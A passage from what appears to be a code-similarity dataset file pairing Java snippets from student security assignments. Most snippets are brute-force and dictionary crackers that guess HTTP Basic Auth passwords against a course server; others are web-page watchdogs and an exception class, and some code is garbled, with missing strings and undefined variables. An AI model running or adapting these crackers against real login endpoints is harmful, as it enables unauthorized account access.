\ }\n \n public String crackPassword(String user) throws IOException, MalformedURLException{\n\ |
|
\ URL url = null;\n URLConnection urlConnection = null;\n String outcome\ |
|
\ = null;\n String authorization = null;\n String password = null;\n \ |
|
\ BASE64Encoder b64enc = new BASE64Encoder();\n InputStream content = null;\n\ |
|
\ BufferedReader in = null;\n String line;\n int i = 0;\n while(!\"\ |
|
HTTP/1.1 200 OK\".equalsIgnoreCase(outcome)){\n url = new URL(this.url);\n\ |
|
\ urlConnection = url.openConnection();\n urlConnection.setDoInput(true);\n\ |
|
\ urlConnection.setDoOutput(true);\n\n\n urlConnection.setRequestProperty(\"\ |
|
GET\", url.getPath() + \" HTTP/1.1\");\n urlConnection.setRequestProperty(\"\ |
|
Host\", url.getHost());\n password = getNextPassword();\n if(password\ |
|
\ == null)\n return null;\n System.out.print(password);\n authorization\ |
|
\ = user + \":\" + password;\n\n\n urlConnection.setRequestProperty(\"Authorization\"\ |
|
, \" \"+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null);\ |
|
\ \n\n\n\n this.attempts ++;\n urlConnection = null;\n url = null;\n\ |
|
\n if(this.attempts%51 == 0)\n for(int b = 0; b < 53;b++)\n \ |
|
\ System.out.print(\"\\b \\b\");\n else\n System.out.print(\"\\\ |
|
b\\b\\b.\");\n\n }\n return password;\n }\n \n public int getAttempts(){\n\ |
|
\ return this.attempts;\n }\n public static void main (String[] args) {\n\ |
|
\ if(args.length != 2){\n System.out.println(\"usage: java attacks.BruteForce\ |
|
\ <url crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >\"\ |
|
);\n System.exit(1);\n }\n\n BruteForce bruteForce1 = new BruteForce(args[0]);\n\ |
|
\ try{\n Calendar cal1=null, cal2=null;\n cal1 = Calendar.getInstance();\n\ |
|
\ System.out.println(\"Cracking started at: \" + cal1.getTime().toString());\n\ |
|
\ String password = bruteForce1.crackPassword(args[1]);\n if(password\ |
|
\ != null)\n System.out.println(\"\\nPassword is: \"+password);\n \ |
|
\ else\n System.out.println(\"\\nPassword could not retrieved!\");\n \ |
|
\ cal2 = Calendar.getInstance();\n System.out.println(\"Cracking finished\ |
|
\ at: \" + cal2.getTime().toString());\n Date d3 = new Date(cal2.getTime().getTime()\ |
|
\ - cal1.getTime().getTime());\n System.out.println(\"Total Time taken crack:\ |
|
\ \" + (d3.getTime())/1000 + \" sec\");\n System.out.println(\"Total attempts\ |
|
\ : \" + bruteForce1.getAttempts());\n\n }catch(MalformedURLException mue){\n\ |
|
\ mue.printStackTrace();\n }\n\n catch(IOException ioe){\n ioe.printStackTrace();\n\ |
|
\ }\n }\n}" |
|
- "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\n\npublic class WatchDog\n\ |
|
{\t\n\n\tpublic static void main(String args[])\n\t{\n\n Runtime rt1\ |
|
\ = Runtime.getRuntime();\n\t Process prss1= null;\n\n try\n \ |
|
\ {\n prss1 = rt1.exec(\"wget -R mpg,mpeg, --output-document=first.html\ |
|
\ http://www.cs.rmit.edu./students/\");\n }catch(java.io.IOException\ |
|
\ e){}\n\n\t MyWatchDogTimer w = new MyWatchDogTimer();\n\t Timer time = new\ |
|
\ Timer();\n\t time.schedule(w,864000000,864000000);\n\n\t\t\n\t}\n}\n" |
|
- "package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\n\ |
|
import java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\ |
|
import java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n\ |
|
\ protected String wordFile;\n\n public Dictionary()\n {\n super();\n\ |
|
\ }\n\n public static void main(String[] args)\n {\n Dictionary\ |
|
\ dictionary = new Dictionary();\n\n if (args.length < 3)\n {\n\ |
|
\ System.out.println(dictionary.printUsage());\n }\n \ |
|
\ else\n {\n dictionary.setURL(args[0]);\n dictionary.setUserName(args[1]);\n\ |
|
\ dictionary.setWordFile(args[2]);\n\n if (args.length >\ |
|
\ 3)\n {\n dictionary.setFileName(args[3]);\n \ |
|
\ }\n dictionary.process();\n System.out.println(dictionary.printResult());\n\ |
|
\ System.exit(1);\n }\n }\n\n public void process()\n\ |
|
\ {\n attempts = 0;\n String password = \"\";\n \n \ |
|
\ setStart(new Timestamp(System.currentTimeMillis()));\n\n BufferedReader\ |
|
\ input = null;\n try\n {\n FileReader file = new FileReader(getWordFile());\n\ |
|
\ \n input = new BufferedReader(file);\n \n \ |
|
\ }\n catch (FileNotFoundException x)\n {\n System.err.println(\"\ |
|
File not found: \" + getWordFile());\n System.exit(2);\n }\n\ |
|
\n try\n {\n while ((password = input.readLine()) !=\ |
|
\ null)\n {\n try\n {\n \ |
|
\ \n attempts++;\n BasicAuthHttpRequest\ |
|
\ req =\n new BasicAuthHttpRequest(\n \ |
|
\ getURL(),\n getUserName(),\n \ |
|
\ password);\n setPassword(password);\n \ |
|
\ setEnd(new Timestamp(System.currentTimeMillis()));\n \ |
|
\ setContent(req.getContent().toString());\n\n \ |
|
\ \n if (getFileName() != null\n &&\ |
|
\ getFileName().length() > 0)\n {\n \ |
|
\ createReport();\n }\n return;\n \ |
|
\ }\n catch (MalformedURLException e)\n \ |
|
\ {\n e.printStackTrace();\n return;\n\ |
|
\ }\n catch (IOException e)\n {\n\ |
|
\n }\n }\n }\n catch (IOException x)\n\ |
|
\ {\n x.printStackTrace();\n }\n\n \n setEnd(new\ |
|
\ Timestamp(System.currentTimeMillis()));\n\n }\n\n public String printUsage()\n\ |
|
\ {\n StringBuffer s = new StringBuffer();\n\n s.append(\"**\ |
|
\ BruteForce proper usage **\\n\\n\");\n s.append(\n \"java\ |
|
\ ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\\ |
|
n\\n\");\n\n return s.toString();\n }\n \n public String getWordFile()\n\ |
|
\ {\n return wordFile;\n }\n\n \n public void setWordFile(String\ |
|
\ string)\n {\n wordFile = string;\n }\n\n}\n" |
|
- source_sentence: "\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\ |
|
\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final\ |
|
\ char [] alphabet = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n \ |
|
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\ |
|
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\ |
|
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\ |
|
\ 'v',\n 'w', 'x', 'y', 'z'};\n\n String pwd=\"\";\n \n for(int i=0;i<52;i++)\n\ |
|
\ {\n for(int j=0;j<52;j++)\n {\n for(int k=0;k<52;k++)\n {\n pwd = alphabet[i]+\"\ |
|
\"+alphabet[j]+\"\"+alphabet[k];\n String userPassword = \":\"+pwd;\n RealThread\ |
|
\ myTh = new RealThread(i,userPassword);\n Thread th = new Thread( myTh );\n\ |
|
\ th.start();\n try\n {\n \n \n th.sleep(100);\n }\n \ |
|
\ catch(Exception e)\n {} \n }\n }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread\ |
|
\ implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection\ |
|
\ uc =null;\n private String userPassword;\n private int responseCode = 100;\n\ |
|
\ public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL(\"\ |
|
http://sec-crack.cs.rmit.edu./SEC/2/\");\n }\n catch(Exception ex1)\n {\n }\n\ |
|
\ num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n\ |
|
\ {\n\n return this.responseCode;\n }\n\n public void run()\n {\n try\n {\n\ |
|
\ String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\ |
|
\n uc = (HttpURLConnection)url.openConnection();\n uc.setRequestProperty (\"\ |
|
Authorization\", \" \" + encoding);\n System.out.println(\"Reponse = \"+uc.getResponseCode()+\"\ |
|
for pwd = \"+userPassword);\n this.responseCode = uc.getResponseCode();\n \n\ |
|
\ if(uc.getResponseCode()==200)\n {\n System.out.println(\" ======= Password\ |
|
\ Found : \"+userPassword+\" ========================================= \");\n\ |
|
\ System.exit(0);\n }\n\n }\n catch (Exception e) {\n System.out.println(\"\ |
|
Could not execute Thread \"+num+\" \");\n }\n }\n\n}\n" |
|
sentences: |
|
- "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\ |
|
\ PasswordCracker {\n \n \n private static final char car= 'a';\n \ |
|
\ \n private static final char END = 'z' + 1;\n \n \n public static\ |
|
\ final int BRUTEFORCE = 0;\n public static final int DICTIONARY = 1;\n \ |
|
\ \n \n String urlName = null;\n \n String user = null;\n \n\ |
|
\ String filename = null;\n \n int method;\n \n \n int attempt_counter;\n\ |
|
\ \n \n public static void main(String[] args) {\n \n PasswordCracker\ |
|
\ cracker = null;\n \n if ((args.length == 3) && (args[2].equalsIgnoreCase(\"\ |
|
BRUTEFORCE\"))) {\n \n cracker = new PasswordCracker(args[0],\ |
|
\ args[1], PasswordCracker.BRUTEFORCE, null);\n }\n else if ((args.length\ |
|
\ == 4) && (args[2].equalsIgnoreCase(\"DICTIONARY\"))) {\n \n \ |
|
\ cracker = new PasswordCracker(args[0], args[1], PasswordCracker.DICTIONARY,\ |
|
\ args[3]);\n }\n else {\n System.out.println(\"Syntax:\ |
|
\ java PasswordCracker <username> <url> BRUTEFORCE \");\n System.out.println(\"\ |
|
\ java PasswordCracker <username> <url> DICTIONARY <sourcefile> \");\n\ |
|
\ System.exit(1);\n }\n \n cracker.run();\n \ |
|
\ }\n \n \n public PasswordCracker(String user, String url, int method,\ |
|
\ String file) {\n \n this.user = user;\n this.urlName\ |
|
\ = url;\n this.filename = file;\n \n this.method = method;\n\ |
|
\ }\n \n \n public boolean run() {\n \n String password;\n\ |
|
\ s = 0;\n end = 0;\n \n try {\n attempt_counter\ |
|
\ = 0;\n URL target = new URL(urlName);\n \n \ |
|
\ switch (this.method) {\n \n case BRUTEFORCE:\n\ |
|
\ \n s = System.currentTimeMillis();\n \ |
|
\ \n \n for (char i =\ |
|
\ 0; i < END; i++) {\n for (char j = 0; j < END; j++) {\n\ |
|
\ for (char k = 0; k < END; k++) {\n \ |
|
\ \n password = String.valueOf(i)\ |
|
\ + String.valueOf(j) + String.valueOf(k);\n if\ |
|
\ (performConnection(target, user, password)) {\n \ |
|
\ \n end = System.currentTimeMillis();\n\ |
|
\ \n System.out.println(\"\ |
|
URL: \\t\\t\" + target +\n \"\\nUser: \\t\\\ |
|
t\"+ user + \"\\nPassword: \\t\" + password);\n\n \ |
|
\ System.out.println(\"Attempts: \\t\" + attempt_counter\n \ |
|
\ + \"\\nTotal time: \\t\" + ((end - a) / 1000.0f) + \"\ |
|
\ seconds\");\n return true;\n \ |
|
\ }\n }\n \ |
|
\ }\n }\n \n \n \ |
|
\ for (char i = 0; i < END; i++) {\n for\ |
|
\ (char j = 0; j < END; j++) {\n for (char k = 0; k\ |
|
\ < END; k++) {\n \n \ |
|
\ password = String.valueOf(i) + String.valueOf(j) + String.valueOf(k);\n\ |
|
\ if (isValidPassword(target, password)) {\n \ |
|
\ \n end =\ |
|
\ System.currentTimeMillis();\n \n \ |
|
\ System.out.println(\"Attempts: \\t\" + attempt_counter\n\ |
|
\ + \"\\nTotal time: \\t\" + ((end - d) / 1000.0f)\ |
|
\ + \" seconds\");\n return true;\n \ |
|
\ }\n }\n \ |
|
\ }\n }\n break;\n \ |
|
\ \n case DICTIONARY:\n try {\n \ |
|
\ BufferedReader buf = new BufferedReader(new FileReader(filename));\n\ |
|
\ \n s = System.currentTimeMillis();\n\ |
|
\ \n {\n \ |
|
\ password = buf.readLine();\n \n \ |
|
\ \n \n if\ |
|
\ (password.length() == 3) {\n if (performConnection(target,\ |
|
\ user, password)) {\n \n \ |
|
\ end = System.currentTimeMillis();\n \ |
|
\ \n System.out.println(\"URL:\ |
|
\ \\t\\t\" + target +\n \"\\nUser: \\t\\t\"\ |
|
+ user + \"\\nPassword: \\t\" + password);\n \ |
|
\ \n System.out.println(\"Attempts: \\t\"\ |
|
\ + attempt_counter\n + \"\\nTotal time: \\\ |
|
t\" + ((end - d) / 1000.0f) + \" seconds\");\n \ |
|
\ return true;\n }\n \ |
|
\ }\n }\n while (password !=\ |
|
\ null);\n }\n catch (FileNotFoundException\ |
|
\ e) {\n System.out.println(\"File \\\"\" + filename +\ |
|
\ \"\\\" not found\");\n }\n catch (IOException\ |
|
\ ioe) {\n System.out.println(\"IO Error \" + ioe);\n \ |
|
\ }\n break;\n \n \ |
|
\ default:\n return false;\n }\n \ |
|
\ }\n catch (Exception e) {\n System.out.println(\"ERROR:\ |
|
\ \" + e.getMessage());\n }\n \n end = System.currentTimeMillis();\n\ |
|
\ System.out.println(\"Attempts: \\t\" + attempt_counter +\n \"\\\ |
|
nTotal time: \\t\" + ((end - d) / 1000.0f) + \" seconds\");\n \n \ |
|
\ return true;\n }\n \n \n private boolean isValidPassword(URL target,\ |
|
\ String password) throws Exception {\n \n char letter[] = new char[3];\n\ |
|
\ String generated = null;\n \n letter[0] = password.charAt(0);\n\ |
|
\ for (int i = 0; i < 2; i++) {\n \n letter[1] =\ |
|
\ password.charAt(1);\n for (int j = 0; j < 2; j++) {\n \ |
|
\ \n letter[2] = password.charAt(2);\n for (int\ |
|
\ k = 0; k < 2; k++) {\n \n generated =\ |
|
\ String.valueOf(letter[0]) + String.valueOf(letter[1]) + String.valueOf(letter[2]);\n\ |
|
\ \n if ((Character.isUpperCase(letter[0])\ |
|
\ == true) ||\n (Character.isUpperCase(letter[1]) == true)\ |
|
\ ||\n (Character.isUpperCase(letter[2]) == true)) {\n\ |
|
\ \n if (performConnection(target,\ |
|
\ user, generated) == true) {\n \n \ |
|
\ System.out.println(\"URL: \\t\\t\" + target + \"\\nUser: \\t\\t\"\ |
|
+ user +\n \"\\nPassword: \\t\" + generated);\n \ |
|
\ return true;\n }\n \ |
|
\ }\n letter[2] = Character.toUpperCase(letter[2]);\n\ |
|
\ }\n letter[1] = Character.toUpperCase(letter[1]);\n\ |
|
\ }\n letter[0] = Character.toUpperCase(letter[0]);\n \ |
|
\ }\n return false;\n }\n \n \n private boolean performConnection(URL\ |
|
\ target, String username, String password) throws Exception {\n HttpURLConnection\ |
|
\ connection = null;\n \n try {\n attempt_counter++;\n\ |
|
\ connection = (HttpURLConnection) target.openConnection();\n \ |
|
\ connection.setRequestProperty(\"Authorization\", \" \" + Base64.encode(username\ |
|
\ + \":\" + password));\n \n switch (connection.getResponseCode()\ |
|
\ / 100) {\n case 2:\n System.out.println(\"\ |
|
Connected successfully\");\n return true;\n \ |
|
\ default:\n return false;\n }\n }\n \ |
|
\ catch (Exception e) {\n throw new Exception(\"Failed connect\ |
|
\ \" + target);\n }\n }\n}\n" |
|
- "\n\n\nimport java.text.*; \nimport java.util.*; \nimport java.net.*; \nimport\ |
|
\ java.io.*; \n\n \npublic class BruteForce { \n\n public int runProcess(String\ |
|
\ urlString,String passwd) { \n\n int returnval = 0;\n MyAuthenticator\ |
|
\ auth = new MyAuthenticator(passwd);\n Authenticator.setDefault(auth);\n\ |
|
\n\t System.out.println(\"trying passord: \" + passwd);\n try{\n \ |
|
\ URL yahoo = new URL(urlString); \n BufferedReader in =\ |
|
\ new BufferedReader(new InputStreamReader(yahoo.openStream()));\n \ |
|
\ String inputLine;\n while ((inputLine = in.readLine()) != null) {\n\ |
|
\t System.out.println(inputLine);\n\t System.out.println(\"passord:\ |
|
\ \" + passwd);\n returnval = 1;\n }\n\t in.close();\n\ |
|
\ }catch(Exception e){ returnval = 0;}\n return returnval;\n \ |
|
\ }\n\n public static void main(String argv[]) { \n\n String[] val =\ |
|
\ \n{\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"\ |
|
m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\ |
|
z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\ |
|
M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"\ |
|
Z\"};\n\n int l1 = 0;\n\n int l2 = 0;\n\n int l3 = 0;\n \n\ |
|
\ int retval = 0;\n\n String pwd = \"\";\n\n \n BruteForce\ |
|
\ s = new BruteForce(); \n String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ |
|
; \n \n for (int a = 0; a < 52; a++) {\n\n l1 = a;\n\n \ |
|
\ pwd = val[l1];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd);\ |
|
\ \n if (retval > 0) {\n System.exit(0);\n }\n }\n\ |
|
\n\n for (int b = 0; b < 52; b++) {\n l1 = b;\n for (int c\ |
|
\ = 0; c < 52; c++) {\n\n l2 = c;\n pwd = val[l1]+ val[l2];\n\ |
|
\ retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n\ |
|
\ if (retval > 0) {\n System.exit(0);\n }\n \ |
|
\ }\n }\n\n\n for (int d = 0; d < 52; d++) {\n l1 = d;\n \ |
|
\ for (int e = 0; e < 52; e++) {\n l2 = e;\n for (int\ |
|
\ f = 0; f < 52; f++) {\n\n l3 = f;\n\n pwd = val[l1]+\ |
|
\ val[l2]+ val[l3];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd);\ |
|
\ \n if (retval > 0) {\n System.exit(0);\n \ |
|
\ }\n }\n }\n }\n\n } \n} \n\n" |
|
- "\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport misc.BASE64Encoder;\n\ |
|
import javax.swing.*;\n\npublic class ConnectionThread extends Thread\n{\n \ |
|
\ private String url;\n private URL currURL;\n private\ |
|
\ URLConnection conn;\n private HoldSharedData sharedData;\n private int\ |
|
\ noOfThread;\n private int batch;\n\n public ConnectionThread(\ |
|
\ String pageURL, int wThread,\n int newBatch, HoldSharedData\ |
|
\ data )\n {\n super();\n url = pageURL;\n noOfThread\ |
|
\ = wThread ;\n batch = newBatch;\n sharedData = data;\n }\n\n\ |
|
\ \n public void run()\n {\n try\n {\n currURL\ |
|
\ = new URL( url );\n\n for( int i = noOfThread*batch; (i < (noOfThread\ |
|
\ + 1)*batch) &&\n (i < sharedData.getPwdCount());\ |
|
\ i ++ )\n {\n String pwd = sharedData.getPasswordAt(\ |
|
\ i );\n\n conn = currURL.openConnection();\n\n \ |
|
\ if (conn instanceof HttpURLConnection)\n {\n\t HttpURLConnection\ |
|
\ hconn = (HttpURLConnection) conn;\n hconn.setFollowRedirects(false);\n\ |
|
\ String cad = \" \" + based64Encoder( \":\" + pwd );\n \ |
|
\ hconn.setRequestProperty( \"Authorization\", cad );\n\n \ |
|
\ hconn.connect();\n\t int response = hconn.getResponseCode();\n\ |
|
\ sharedData.setNumOfConnections();\n\n \ |
|
\ if( response == 200 )\n {\n totalTime\ |
|
\ = System.currentTimeMillis() -\n sharedData.getStartTime();\n\ |
|
\ int numOfConnections = sharedData.getNumOfConnections();\n\ |
|
\n System.out.println( \"Password is \" + pwd );\n \ |
|
\ System.out.println( \"Total Time(seconds)=\" +\n \ |
|
\ (double)totalTime/1000 );\n \ |
|
\ System.out.println( \"Number Of Connections: \" +\n \ |
|
\ numOfConnections );\n \ |
|
\ System.exit(0);\n }\n else\n \ |
|
\ {\n hconn.disconnect();\n \ |
|
\ }\n }\n }\n }\n catch( MalformedURLException\ |
|
\ mue )\n {\n String msg = \"Unable parse URL: \" + url;\n\ |
|
\ System.err.println( msg );\n }\n catch( IOException\ |
|
\ ioe )\n {\n System.err.println( \"I/O Error : \" + ioe );\n\ |
|
\ }\n }\n\n private String based64Encoder( String pwd )\n {\n\ |
|
\ \n String str = pwd;\n byte[] buf = str.getBytes();\n \ |
|
\ String encodedStr = new misc.BASE64Encoder().encode(buf);\n\n\n \ |
|
\ return encodedStr;\n }\n} " |
|
- source_sentence: "\n\n\n\npublic class SMTPException extends Exception {\n\n \ |
|
\ private String msg; \n \n public SMTPException(String message)\ |
|
\ {\n msg = message;\n }\n\n \n public String getMessage()\ |
|
\ {\n return msg;\n }\n}" |
|
sentences: |
|
- "import java.util.*;\nimport java.net.*;\nimport java.io.*;\n\npublic class BruteForce\n\ |
|
{\n boolean connected = false;\n int counter;\n String[] chars = {\"\ |
|
a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\n \"i\",\"j\"\ |
|
,\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\n \"q\",\"r\",\"s\",\"\ |
|
t\",\"u\",\"v\",\"w\",\"x\",\n \"y\",\"z\",\"A\",\"B\",\"C\"\ |
|
,\"D\",\"E\",\"F\",\n \"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\ |
|
M\",\"N\",\n \"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\"\ |
|
,\n \"W\",\"X\",\"Y\",\"Z\"};\n Vector combinations = new\ |
|
\ Vector();\n \n BruteForce()\n {\n counter = 0;\n this.genCombinations();\n\ |
|
\ this.startAttack();\n } \n \n public void startAttack()\n\ |
|
\ {\n while(counter<this.combinations.size())\n {\n \ |
|
\ connected = sendRequest();\n if(connected == true)\n {\n\ |
|
\ System.out.print(\"The password is: \");\n System.out.println((String)combinations.elementAt(counter-1));\n\ |
|
\ counter = combinations.size();\n }\n }\n }\n\ |
|
\ \n public void genCombinations()\n {\n String combination =\ |
|
\ new String();\n \n for (int x=0; x<52; x++)\n {\n \ |
|
\ combination = chars[x];\n this.combinations.addElement(combination);\n\ |
|
\ }\n \n for (int x=0; x<52; x++)\n {\n \ |
|
\ for (int y=0; y<52; y++)\n {\n combination = chars[x]\ |
|
\ + chars[y];\n this.combinations.addElement(combination);\n \ |
|
\ }\n } \n \n for (int x=0; x<52; x++)\n \ |
|
\ {\n for (int y=0; y<52; y++)\n {\n for\ |
|
\ (int z=0; z<52; z++)\n {\n combination = chars[x]\ |
|
\ + chars[y] + chars[z];\n this.combinations.addElement(combination);\n\ |
|
\ }\n }\n } \n }\n \n public boolean\ |
|
\ sendRequest()\n {\n Authenticator.setDefault (new MyAuthenticator\ |
|
\ ());\n try \n {\n \t\n \tURL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\ |
|
);\n HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();\n\ |
|
\ urlConn.connect();\n if(urlConn.getResponseMessage().equalsIgnoreCase(\"\ |
|
OK\"))\n {\n return true;\n }\n\ |
|
\ \n } \n catch (IOException e) {}\n \n \ |
|
\ return false;\n }\n \n public static void main(String [] args)\n\ |
|
\ {\n BruteForce bf = new BruteForce();\n }\n \n \n class\ |
|
\ MyAuthenticator extends Authenticator {\n \n protected PasswordAuthentication\ |
|
\ getPasswordAuthentication() {\n String username = \"\";\n \ |
|
\ String password = (String)combinations.elementAt(counter);\n \ |
|
\ counter++;\n return new PasswordAuthentication(username, password.toCharArray());\n\ |
|
\ }\n }\n}\n" |
|
- "import java.io.*;\nimport java.net.*;\nimport java.misc.*;\n\n\npublic class\ |
|
\ Dictionary\n{\n\n public static void main (String args[]) throws IOException\n\ |
|
\ {\n final int maxLength = 3;\n final String username = \"\";\n \ |
|
\ final File dicFile = new File(\"/usr/share/lib/dict/words\");\n final\ |
|
\ URL pageURL = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n String\ |
|
\ password=\"\";\n BASE64Encoder encoder = new BASE64Encoder();\n boolean\ |
|
\ notFound = true;\n HttpURLConnection conn;\n\n BufferedReader reader\ |
|
\ = new BufferedReader(new FileReader(dicFile));\n\n while (notFound&&((password\ |
|
\ = reader.readLine()) != null))\n {\n if(password.length()>maxLength)\n\ |
|
\ {\n continue;\n }\n\n conn = (HttpURLConnection)\ |
|
\ pageURL.openConnection();\n\n conn.setRequestProperty(\"Authorization\"\ |
|
, \" \"+encoder.encode((username+\":\"+password).getBytes()));\n\n if((conn.getResponseCode())==HttpURLConnection.HTTP_OK)\n\ |
|
\ {\n notFound=false;\n }\n\n }\n\n reader.print();\n\ |
|
\n if(notFound)\n {\n System.out.println(\" valid password in\ |
|
\ dictionary file.\");\n }\n else\n {\n System.out.println(\"\ |
|
Found valid password: \\\"\"+password+\"\\\"\");\n }\n }\n}\n\n" |
|
- "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.misc.BASE64Encoder;\n\ |
|
\npublic class Dictionary\n{\n\n public Dictionary()\n {\n }\n\n public static\ |
|
\ void main(String[] args)\n {\n try\n {\n\n if (args.length !=\ |
|
\ 3 )\n {\n System.out.println(\"Usage: java BruteForce <URL>\ |
|
\ <UserName> <DictFileName>\");\n System.exit(1);\n }\n\n \ |
|
\ timeStart = System.currentTimeMillis();\n\n String strPass = applyDictionary\ |
|
\ (args[0], args[1], args [2]);\n\n timeEnd = System.currentTimeMillis();\n\ |
|
\n System.out.println(\"\\n\\n\\n\\n\\tPass Cracked is: \" + strPass);\n\ |
|
\ System.out.println(\"\\tTime taken is (sec):\" + String.valueOf((timeEnd\ |
|
\ - timeStart)/1000));\n\n }\n catch(Exception e)\n {\n e.printStackTrace();\n\ |
|
\ }\n }\n\n static String applyDictionary (String URL, String UserName, String\ |
|
\ strUrlDictionary)\n {\n String strPass = \"\";\n\n try\n {\n\ |
|
\ FileInputStream fIn = new FileInputStream ( strUrlDictionary );\n\ |
|
\ DataInputStream dtIn = new DataInputStream ( fIn );\n\n \ |
|
\ \n \n\n System.out.print(\"\\n\\n\\n Applying\ |
|
\ Dictionary Attack: \");\n\n while (dtIn.available() > 0)\n\ |
|
\ {\n strPass = dtIn.readLine();\n\n \ |
|
\ if (strPass.length() != 3)\n continue;\n\n \ |
|
\ \n \n\n System.out.print(\"\\b\\b\\b\"\ |
|
\ + strPass );\n\n boolean boolResult = applyPass ( URL, UserName,\ |
|
\ strPass );\n\n if (boolResult)\n {\n \ |
|
\ dtIn.close();\n fIn.close();\n \ |
|
\ return strPass;\n }\n }\n\n \ |
|
\ dtIn.close();\n fIn.close();\n }\n catch (Exception\ |
|
\ e)\n {\n e.printStackTrace();\n }\n\n return \"Could\ |
|
\ not find match\";\n }\n\n private static boolean applyPass (String strURL,\ |
|
\ String strUserName, String strPass )\n {\n BASE64Encoder myEncoder =\ |
|
\ new BASE64Encoder ();\n\n try\n {\n String str = strUserName\ |
|
\ + \":\" + strPass;\n\n String strEncode = myEncoder.encode(str.getBytes());\n\ |
|
\n URL url = new URL (strURL);\n\n URLConnection urlConn\ |
|
\ = url.openConnection();\n\n urlConn.setRequestProperty (\"Authorization\"\ |
|
, \" \" + strEncode);\n\n urlConn.connect();\n\n String\ |
|
\ strReply = urlConn.getHeaderField(0);\n\n if ( strReply.trim().equalsIgnoreCase(\"\ |
|
HTTP/1.1 200 OK\") )\n {\n return true;\n \ |
|
\ }\n }\n catch (Exception e)\n {\n e.printStackTrace\ |
|
\ ();\n }\n\n return false;\n }\n}\n" |
|
- source_sentence: "import java.io.*;\nimport java.util.*;\nimport java.text.*;\n\ |
|
import java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends\ |
|
\ Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t WatchDog\ |
|
\ watcher = new WatchDog();\n\t watcher.run();\n\t}\n\n\t\n public void\ |
|
\ run()\n {\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL,\ |
|
\ DateFormat.FULL);\n twentyFourHours = 24 * 60 * 60 * 1000;\n \ |
|
\ \n\n \t\twriteProgramLog(\"Program started at \" + longTimestamp.format(new\ |
|
\ Date()));\n while(true)\n {\n \t\twriteProgramLog(\"Running\ |
|
\ run at \" + longTimestamp.format(new Date()));\n compare();\n \ |
|
\ try\n {\n sleep(twentyFourHours);\n \ |
|
\ }\n catch(InterruptedException e)\n {\n \ |
|
\ writeProgramLog(\"Program terminated at \" + longTimestamp.format(new\ |
|
\ Date()));\n System.exit(0);\n }\n }\n }\ |
|
\ \n\n\t\n private void compare()\n {\n \n \n \n \ |
|
\ String watchDogFile = \"watchDogHash_rcroft.\";\n String watchDogPageFile\ |
|
\ = \"watchDogPage_rcroft.html\";\n \n File watchDogLogFile = new File(watchDogFile);\n\ |
|
\ \n if(!watchDogLogFile.exists())\n {\n \n \ |
|
\ \n \n \n \n WebPage targetPage\ |
|
\ = getPage();\n if(targetPage.getSuccess())\n {\n \ |
|
\ byte[] newHash = calcHash(targetPage.getPageContents());\n \ |
|
\ writeHash(newHash, watchDogFile);\n writePage(targetPage.getPageContents(),\ |
|
\ watchDogPageFile);\n }\n }\n else\n {\n \ |
|
\ try\n {\n \n \n \ |
|
\ \n \n \n \n WebPage\ |
|
\ targetPage = getPage();\n if(targetPage.getSuccess())\n \ |
|
\ {\n \n byte[] oldHash = new\ |
|
\ byte[16]; \n byte[] newHash = calcHash(targetPage.getPageContents());\n\ |
|
\n \n DataInputStream inWatchDogFile = new\ |
|
\ DataInputStream(new FileInputStream(watchDogFile));\n inWatchDogFile.readFully(oldHash);\n\ |
|
\ inWatchDogFile.print();\n \n \ |
|
\ \n \n \n \ |
|
\ if(!java.util.Arrays.equals(oldHash, newHash))\n {\n \ |
|
\ String differences = enumerateDifferences(watchDogPageFile,\ |
|
\ targetPage.getPageContents());\n mail(differences);\n\ |
|
\ writeHash(newHash, watchDogFile);\n \ |
|
\ writePage(targetPage.getPageContents(), watchDogPageFile);\n \ |
|
\ }\n }\n }\n catch(IOException\ |
|
